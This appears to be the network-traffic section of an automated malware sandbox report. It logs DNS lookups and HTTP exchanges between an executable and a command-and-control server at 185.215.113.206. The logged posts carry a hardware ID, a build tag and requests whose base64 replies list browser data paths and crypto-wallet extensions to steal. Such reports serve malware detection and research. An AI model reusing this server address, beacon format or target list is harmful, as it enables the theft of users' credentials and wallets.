Nov 20, 2024 14:43:32.521941900 CET	192.168.2.6	1.1.1.1	0xb66b	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 14:43:33.576292992 CET	192.168.2.6	1.1.1.1	0x5be9	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:33.576615095 CET	192.168.2.6	1.1.1.1	0x7fb9	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:33.984505892 CET	192.168.2.6	1.1.1.1	0xacd0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:33.984777927 CET	192.168.2.6	1.1.1.1	0xe468	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:33.985378027 CET	192.168.2.6	1.1.1.1	0xb59c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:33.985557079 CET	192.168.2.6	1.1.1.1	0x200f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:34.134170055 CET	192.168.2.6	1.1.1.1	0xf53c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:34.135061979 CET	192.168.2.6	1.1.1.1	0xe390	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:36.269593000 CET	192.168.2.6	1.1.1.1	0xc610	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:36.269855976 CET	192.168.2.6	1.1.1.1	0x501d	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:36.272767067 CET	192.168.2.6	1.1.1.1	0x6618	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:36.272938013 CET	192.168.2.6	1.1.1.1	0xe85f	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:36.411576986 CET	192.168.2.6	1.1.1.1	0xec89	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:36.411679029 CET	192.168.2.6	1.1.1.1	0xcdc7	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 20, 2024 14:43:36.563057899 CET	192.168.2.6	1.1.1.1	0xce08	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:36.563184977 CET	192.168.2.6	1.1.1.1	0x837f	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 14:43:18.450284004 CET	1.1.1.1	192.168.2.6	0xbcfb	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:18.450419903 CET	1.1.1.1	192.168.2.6	0x9e4e	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 14:43:25.492024899 CET	1.1.1.1	192.168.2.6	0x65a7	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:25.494375944 CET	1.1.1.1	192.168.2.6	0x377c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:25.494375944 CET	1.1.1.1	192.168.2.6	0x377c	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:29.578737020 CET	1.1.1.1	192.168.2.6	0x2c19	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:29.578862906 CET	1.1.1.1	192.168.2.6	0xfe88	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:29.982530117 CET	1.1.1.1	192.168.2.6	0x5b24	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:29.982530117 CET	1.1.1.1	192.168.2.6	0x5b24	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:30.122049093 CET	1.1.1.1	192.168.2.6	0x6caf	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:32.664638996 CET	1.1.1.1	192.168.2.6	0xb66b	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:32.666110039 CET	1.1.1.1	192.168.2.6	0x6187	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:33.714262009 CET	1.1.1.1	192.168.2.6	0x5be9	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:33.714262009 CET	1.1.1.1	192.168.2.6	0x5be9	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:33.715503931 CET	1.1.1.1	192.168.2.6	0x7fb9	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:34.126799107 CET	1.1.1.1	192.168.2.6	0xacd0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:34.126799107 CET	1.1.1.1	192.168.2.6	0xacd0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:34.126816034 CET	1.1.1.1	192.168.2.6	0xe468	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 14:43:34.126862049 CET	1.1.1.1	192.168.2.6	0x200f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 14:43:34.126873016 CET	1.1.1.1	192.168.2.6	0xb59c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:34.126873016 CET	1.1.1.1	192.168.2.6	0xb59c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:34.272100925 CET	1.1.1.1	192.168.2.6	0xe390	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 14:43:34.272118092 CET	1.1.1.1	192.168.2.6	0xf53c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:34.272118092 CET	1.1.1.1	192.168.2.6	0xf53c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:36.407529116 CET	1.1.1.1	192.168.2.6	0x501d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:36.407661915 CET	1.1.1.1	192.168.2.6	0xc610	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:36.409765959 CET	1.1.1.1	192.168.2.6	0x6618	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:36.409765959 CET	1.1.1.1	192.168.2.6	0x6618	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:36.409765959 CET	1.1.1.1	192.168.2.6	0x6618	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:36.409765959 CET	1.1.1.1	192.168.2.6	0x6618	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:43:36.553415060 CET	1.1.1.1	192.168.2.6	0xcdc7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:36.555505037 CET	1.1.1.1	192.168.2.6	0xec89	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:36.701584101 CET	1.1.1.1	192.168.2.6	0x837f	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:43:36.701956987 CET	1.1.1.1	192.168.2.6	0xce08	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:44:11.053669930 CET	1.1.1.1	192.168.2.6	0x7cae	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 14:44:11.053669930 CET	1.1.1.1	192.168.2.6	0x7cae	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 20, 2024 14:44:11.053669930 CET	1.1.1.1	192.168.2.6	0x7cae	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	185.215.113.206	80	380	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 14:43:09.075205088 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 14:43:10.524213076 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 14:43:10.576097965 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBG Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 44 45 31 35 39 39 45 33 34 32 31 35 36 31 32 32 34 37 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="hwid"3BDE1599E342156122474------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="build"mars------ECGDHDHJEBGHJKFIECBG--
Nov 20, 2024 14:43:11.056404114 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 41 79 4d 54 67 35 59 54 4d 30 4d 6a 59 7a 4d 6a 55 31 59 7a 68 68 4e 7a 64 6d 4d 32 49 32 5a 6d 46 6c 4e 6d 4e 6c 4e 47 4d 35 4e 57 4d 32 59 54 4e 6a 5a 47 59 7a 4d 54 63 32 4d 47 59 32 4e 57 52 6b 59 6a 63 78 4e 44 45 33 59 7a 67 77 59 54 4a 68 4e 7a 42 6c 4f 47 59 33 5a 6a 64 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDAyMTg5YTM0MjYzMjU1YzhhNzdmM2I2ZmFlNmNlNGM5NWM2YTNjZGYzMTc2MGY2NWRkYjcxNDE3YzgwYTJhNzBlOGY3ZjdhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 14:43:11.057538033 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAEBAFBGIDHCBFHIECF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="message"browsers------AAAEBAFBGIDHCBFHIECF--
Nov 20, 2024 14:43:11.527489901 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 14:43:11.527622938 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 20, 2024 14:43:11.529275894 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECGHIJDGCBKECAAKKEC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 2d 2d 0d 0a Data Ascii: ------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="message"plugins------KECGHIJDGCBKECAAKKEC--
Nov 20, 2024 14:43:12.001676083 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 20, 2024 14:43:12.001693964 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 20, 2024 14:43:12.001708984 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 20, 2024 14:43:12.001878977 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 20, 2024 14:43:12.001892090 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
